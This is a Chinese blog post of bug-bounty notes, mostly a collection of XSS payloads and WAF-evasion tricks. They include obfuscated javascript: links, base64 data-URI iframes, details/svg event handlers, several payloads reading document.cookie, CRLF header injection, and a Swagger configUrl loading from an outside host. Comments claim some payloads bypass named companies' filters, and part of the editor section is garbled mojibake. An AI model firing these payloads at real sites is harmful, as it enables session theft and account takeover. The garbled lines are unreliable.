侧边栏壁纸
  • 累计撰写 135 篇文章
  • 累计创建 1 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录
SRC

xss

一、XSS常见问题

1.1 不要直接打弹框

<script>alert(1)</script>

三大麻烦:

  1. waf直接给你拦截了,你payload根本打不进去;
  2. 对方后端就过滤死了不让你使用</script> <img>这种明显的标签;
  3. 对方压根就不允许弹框。

XSS的本质原理在于解析了用户插入的标签,既然是解析标签,为什么不能插入没有攻击危害的标签进行先探测XSS呢?如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦”就不可以了!

常见的无危害标签

<s>123   常用这个
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
'"></tExtArEa><s>123#//--+
'"></tExtArEa><s>123#//--+   常用这个

1.2 XSS检测的原理(包括漏扫)

原理:插入标签后,返回包完整返回标签。

image-20250801104718270

1.3 XSS怎么从返回包判定绕过成功

对于burpsuite而言,可以通过返回包的标签颜色判定,如果成功解析xss标签,那么标签颜色会是彩色,接着基于这个特征,手动FUZZ测试,从而绕过WAF。

image-20250801105049293

二、XSS绕过手段

2.1 常规手法

双写

<scri<script>pt>alert(1);</scr</script>ipt>

大小写

<Sript>alerT(3);</srIPt>

禁用alert绕过

<img src="1" onerror="confirm('xss')"> 
<script>confirm(123)</script>
<script>prompt(2)</script>

confirm() 方法:用于显示一个带有指定消息和 确定 及 取消 按钮的对话框,如果用户点击确定按钮,则 confirm() 返回 true。

prompt()方法:用于弹出显示可提示用户进行输入的对话框,方法返回用户输入的字串符。

禁用单引号

注意:数字可以不用带单引号。

<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>

过滤括号()

可以使用反单引号来代替

<script>alert`1`</script>

过滤尖括号<>

可以使用伪协议

payload=hello 'onmouseover=' JavaScript:alert(1)'

onmouseover事件:指鼠标移动都某个指点的HTML标签上,会出现什么效果。

空格的替换

URL会将空格编码为%20

可替换为:

%09  %0a    %0b   %0c   %0d  %a0   /

image-20250801110618211

2.2 混淆绕过

</tExtArEa>'"<xhzeem attr="--- 
x="=='='onmouseover=confirm`x1s2s3` style="display:block;width:1000px;height:1000px;background:red">--- 
">

具体分析:

1. <textarea>: 是一个多行文本输入控件,常用于用户输入大量自由格式文本,例如评论或反馈表单。
2. "<xhzeem attr=" :
	<xhzeems是自定义的非标准 HTML 标签,浏览器会将其作为普通元素解析;
	目的是规避网站对标准标签的过滤规则(有些防御机制可能只检测常见标签的恶意属性)。浏览器在解析 HTML 时,对于未知标签通常会当作普通块级元素处理,这使得后续的恶意属性有机会被执行。
	attr=" 是为该标签添加一个名为attr的自定义属性,并开始定义属性值(以双引号开头)。

3. ---            x="=='=':
	短横线 --- 无实际语义,仅作为填充字符,目的是打破正常的代码结构识别。
	x="=='" 构造了一个名为 x 的属性,其值由多个等号和引号组成,意图通过混乱的引号配对(单引号与双引号混合)绕过对属性值的语法校验,同时为后续的恶意代码(如 onmouseover)铺垫可被浏览器解析的语法环境。
一段段用于混淆的字符组合,主要作用是通过堆砌特殊符号(短横线、引号、等号)来干扰安全过滤机制。

4. onmouseover=confirmx1s2s3``: 事件处理器,当用户鼠标悬停在该元素上时,会触发confirm弹窗。
5. style:为<xhzeem>元素设置 CSS 样式。
</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..toString(30)]()">click_me</a>#

目的是通过构造特殊格式的链接,在用户点击时执行恶意 JavaScript 代码,具体分析:

1. </tExtArEa>'": 闭合页面中可能存在的<textarea>标签
2. <a/href= :构造一个<a>(链接)标签,并定义其href属性(链接地址)
3. "ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..toString(30)]()" :
	通过编码和混淆隐藏了javascript:协议及执行逻辑,整体即javascript:top["alert"](),等价于top.alert(),作用是执行alert()函数。
4. click_me</a>#:是<a>标签显示的文本,诱导用户点击。
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg.exec(str);%20alert(result);%20</script>

经过 URL 编码的 JavaScript 脚本,使用正则表达式的 exec() 方法,通过匹配字符串中的 “test” 并弹出结果,具体分析:

1. <script type="text/javascript">:HTML 脚本标签,声明内部为 JavaScript 代码。
2. var reg = /test/;:定义一个正则表达式对象 reg,匹配字符串 "test"。、
3. var str = 'testString';:定义字符串 str,内容为 "testString"。
4. var result = reg.exec(str);:使用 exec() 方法执行正则匹配,在 str 中查找与 reg 匹配的内容。
5. alert(result);:弹出对话框显示匹配结果。

2.3 编码加密绕过

<iframe src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQR0YxWkdsdklITnlZejB4SUc5dVpYSnliM0k5WTI5dVptbHliU2duZUhOemMzTW5LVDQ9Pjwvb2JqZWN0Pg=="></iframe>

2.4 冷门标签绕过

"\"><s>12356789@qq.com      邮箱xss(验证)
<sTylE OnLoAd=alert(1)>
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=prompt,a()%20x>
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=confirm,a()%20x>   #过携程和oppo
22onmouseover=%22a=confirm,a(document.cookie)%22--+//%23    #过oppo
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=confirm,a(document.cookie)%20x>
<svg%20onmouseover%0A=%0Aa=confirm,a(1)>
<svg%0Aonmouseover%0A=%0Aa=confirm,a(1)%20x>
<svg%20onmouseover%0A=%0Aa=confirm,a(document.cookie)>
'+onclick=a=alert,a(1)%2F%2F
'+onclick=a=alert,a(1)--+
'+onclick=a=confirm,a(1)--+
'+onclick=a=confirm,a(1)%2F%2F
%27+onclick='a=alert,a(1)'--+
在对xss标签进行注释的时候要使用--+和// ,经测试%23无效。如果onload不能用就换成其他属性。
<marquee behavior="alternate" onstart=alert(1)>123</marquee> 
<MaRQuEe BehAvIor="alternate" onStArt=alert(1)>123</MaRQuEe>
<body onpageshow=alert(1)>
<body onPAgeShoW=confirm(111)>
<details ontoggle=alert()>     向下按钮xss
<SVg </onLoaD ="1> (_=prompt,_(1)) "">
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKTs='));</script>
<d3"<"/onclick="1>[confirm``]"<">dianwo        需要点击
<w="/x="y>"/oNCliCk=`<`[confir\u006d``]>dianwo     需要点击
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>dianwo2        需要双击
<w="/x="y>"/oNDblCliCk=`<`[confir\u006d``]>dianwo2        需要双击
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<img/src/onerror=\u0061\u006c\u0065\u0072\u0074(1)>
<object data=javascript:alert(1)>
<svg onload=setInterval`alert\x28document.domain\x29`>    
<img src=1 onerror=javascript:{{.('alert(1)')()}}>    点击一次
<a href=javascript:{{.('alert(1)')()}}>dianwo</a>     点击一次
<a href=javascript:<x ng-app>{{.('alert(1)')()}}>dianwo</a>    点击一次
<a href=javascript:{{.('alert(1)')()}}>dianwo</a>   点击一次
<d3"<"/onclick="1>[confirm``]"<">dianwo       点击一次
<d3"<"/oNDblCliCk="1>[confirm``]"<">dianwo    需要双击
<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>
<svg><set end=1 onend=[1].find(alert)>
<body onpageshow="alert(1)">
<details open ontoggle=alert(1)>    #这个可能不弹窗,但是可以造成xss
<details open ontoggle=\u0061\u006c\u0065\u0072\u0074(1)>
<details%20ontoggle=confirm()>//    #弹窗!

三、特殊类型

3.1 svg-xss

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <a xlink:href="javascript:alert('XSS via xlink')">
    <text x="10" y="20">Click Me</text>
  </a>
</svg>

利用 SVG 的<a>标签和xlink:href属性,嵌入javascript:协议,点击文本时触发 XSS。

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <g onload="e=eval;e('ale'+'rt(1)')">
    <circle cx="50" cy="50" r="40" fill="blue"/>
  </g>
</svg>

使用 SVG 元素的onload事件(加载时触发),替代<script>标签,规避对<script>的过滤。

通过字符串拼接('ale'+'rt')混淆alert函数名,绕过关键词检测。

3.2 XML-XSS

<!-- 恶意XML文件 -->
<user>
  <name>asdad</name>
  <bio><script>alert('XML XSS')</script></bio>
</user>

若应用程序读取该 XML 的<bio>内容,并直接嵌入到 HTML 页面(如显示用户简介),则<script>标签会被浏览器执行,弹出弹窗。

<message id="msg" content="欢迎访问" onmouseover="alert('XSS via XML attribute')" />

若应用程序将 XML 的onmouseover属性直接作为 HTML 元素的属性渲染(如<div id="msg" content="欢迎访问" onmouseover="alert('XSS via XML attribute')">),则用户鼠标悬停时会触发恶意代码。

3.3 Swagger-XSS

通过/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json 的方式,可以触发漏洞

3.4 JSonp导致的XSS

https://www.runoob.com/json/json-jsonp.html

https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction

3.5 CRLF注入导致的XSS

/%0a%0dSet-Cookie:%20id=admin

%0a%0d%0a%0d%0a<script>alert('xss')</script>

3.6 编辑器处的XSS

"<script>alert(1)</script>
<script>alert(2)</script>
medium--> Ë«Ð´ÈÆ¹ý£º<sc<script>ript>alert(4)</script>
´óСд»ìÏýÈÆ¹ý£º<ScRipt>alert(5)</script>
<img src=1 onerror=alert(7)>
onmouseover=¡¯alert(9)¡¯
<script>alert(11);</script>
>"'><img src="javascript.:alert(12)">
>"'><script>alert(13)</script>
<table background='javascript.:alert(14)'></table>
<object type=text/html data='javascript.:alert(15);'></object>
"+alert(16)+"
26
博主关闭了所有页面的评论